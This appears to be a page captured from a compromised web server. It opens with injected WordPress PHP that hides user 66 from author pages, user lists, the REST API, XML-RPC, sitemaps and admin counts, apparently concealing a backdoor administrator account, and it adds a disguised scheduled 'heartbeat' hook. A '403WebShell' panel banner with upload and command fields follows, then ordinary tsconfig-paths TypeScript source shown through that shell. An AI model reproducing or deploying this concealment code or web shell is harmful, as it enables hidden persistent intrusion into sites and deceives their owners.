add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emajiwallet/node_modules/tsconfig-paths/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emajiwallet/node_modules/tsconfig-paths/src/match-path-async.ts
import * as path from "path";
import * as TryPath from "./try-path";
import * as MappingEntry from "./mapping-entry";
import * as Filesystem from "./filesystem";

/**
 * Function that can match a path async
 */
export interface MatchPathAsync {
  (
    requestedModule: string,
    readJson: Filesystem.ReadJsonAsync | undefined,
    fileExists: Filesystem.FileExistsAsync | undefined,
    extensions: ReadonlyArray<string> | undefined,
    callback: MatchPathAsyncCallback
  ): void;
}

export interface MatchPathAsyncCallback {
  // eslint-disable-next-line no-shadow
  (err?: Error, path?: string): void;
}

/**
 * See the sync version for docs.
 */
export function createMatchPathAsync(
  absoluteBaseUrl: string,
  paths: { [key: string]: Array<string> },
  mainFields: (string | string[])[] = ["main"],
  addMatchAll: boolean = true
): MatchPathAsync {
  const absolutePaths = MappingEntry.getAbsoluteMappingEntries(
    absoluteBaseUrl,
    paths,
    addMatchAll
  );

  return (
    requestedModule: string,
    readJson: Filesystem.ReadJsonAsync | undefined,
    fileExists: Filesystem.FileExistsAsync | undefined,
    extensions: ReadonlyArray<string> | undefined,
    callback: MatchPathAsyncCallback
  ) =>
    matchFromAbsolutePathsAsync(
      absolutePaths,
      requestedModule,
      readJson,
      fileExists,
      extensions,
      callback,
      mainFields
    );
}

/**
 * See the sync version for docs.
 */
export function matchFromAbsolutePathsAsync(
  absolutePathMappings: ReadonlyArray<MappingEntry.MappingEntry>,
  requestedModule: string,
  readJson: Filesystem.ReadJsonAsync = Filesystem.readJsonFromDiskAsync,
  fileExists: Filesystem.FileExistsAsync = Filesystem.fileExistsAsync,
  extensions: ReadonlyArray<string> = Object.keys(require.extensions),
  callback: MatchPathAsyncCallback,
  mainFields: (string | string[])[] = ["main"]
): void {
  const tryPaths = TryPath.getPathsToTry(
    extensions,
    absolutePathMappings,
    requestedModule
  );

  if (!tryPaths) {
    return callback();
  }

  findFirstExistingPath(
    tryPaths,
    readJson,
    fileExists,
    callback,
    0,
    mainFields
  );
}

function findFirstExistingMainFieldMappedFile(
  packageJson: Filesystem.PackageJson,
  mainFields: (string | string[])[],
  packageJsonPath: string,
  fileExistsAsync: Filesystem.FileExistsAsync,
  doneCallback: (err?: Error, filepath?: string) => void,
  index: number = 0
): void {
  if (index >= mainFields.length) {
    return doneCallback(undefined, undefined);
  }

  const tryNext = (): void =>
    findFirstExistingMainFieldMappedFile(
      packageJson,
      mainFields,
      packageJsonPath,
      fileExistsAsync,
      doneCallback,
      index + 1
    );

  const mainFieldSelector = mainFields[index];
  const mainFieldMapping =
    typeof mainFieldSelector === "string"
      ? packageJson[mainFieldSelector]
      : mainFieldSelector.reduce((obj, key) => obj[key], packageJson);
  if (typeof mainFieldMapping !== "string") {
    // Skip mappings that are not pointers to replacement files
    return tryNext();
  }

  const mappedFilePath = path.join(
    path.dirname(packageJsonPath),
    mainFieldMapping
  );
  fileExistsAsync(mappedFilePath, (err?: Error, exists?: boolean) => {
    if (err) {
      return doneCallback(err);
    }
    if (exists) {
      return doneCallback(undefined, mappedFilePath);
    }
    return tryNext();
  });
}

// Recursive loop to probe for physical files
function findFirstExistingPath(
  tryPaths: ReadonlyArray<TryPath.TryPath>,
  readJson: Filesystem.ReadJsonAsync,
  fileExists: Filesystem.FileExistsAsync,
  doneCallback: MatchPathAsyncCallback,
  index: number = 0,
  mainFields: (string | string[])[] = ["main"]
): void {
  const tryPath = tryPaths[index];
  if (
    tryPath.type === "file" ||
    tryPath.type === "extension" ||
    tryPath.type === "index"
  ) {
    fileExists(tryPath.path, (err: Error, exists: boolean) => {
      if (err) {
        return doneCallback(err);
      }
      if (exists) {
        return doneCallback(undefined, TryPath.getStrippedPath(tryPath));
      }
      if (index === tryPaths.length - 1) {
        return doneCallback();
      }
      // Continue with the next path
      return findFirstExistingPath(
        tryPaths,
        readJson,
        fileExists,
        doneCallback,
        index + 1,
        mainFields
      );
    });
  } else if (tryPath.type === "package") {
    readJson(tryPath.path, (err, packageJson) => {
      if (err) {
        return doneCallback(err);
      }
      if (packageJson) {
        return findFirstExistingMainFieldMappedFile(
          packageJson,
          mainFields,
          tryPath.path,
          fileExists,
          (mainFieldErr?: Error, mainFieldMappedFile?: string) => {
            if (mainFieldErr) {
              return doneCallback(mainFieldErr);
            }
            if (mainFieldMappedFile) {
              return doneCallback(undefined, mainFieldMappedFile);
            }

            // No field in package json was a valid option. Continue with the next path.
            return findFirstExistingPath(
              tryPaths,
              readJson,
              fileExists,
              doneCallback,
              index + 1,
              mainFields
            );
          }
        );
      }

      // This is async code, we need to return unconditionally, otherwise the code still falls
      // through and keeps recursing. While this might work in general, libraries that use neo-async
      // like Webpack will actually not allow you to call the same callback twice.
      //
      // An example of where this caused issues:
      // https://github.com/dividab/tsconfig-paths-webpack-plugin/issues/11
      //
      // Continue with the next path
      return findFirstExistingPath(
        tryPaths,
        readJson,
        fileExists,
        doneCallback,
        index + 1,
        mainFields
      );
    });
  } else {
    TryPath.exhaustiveTypeException(tryPath.type);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit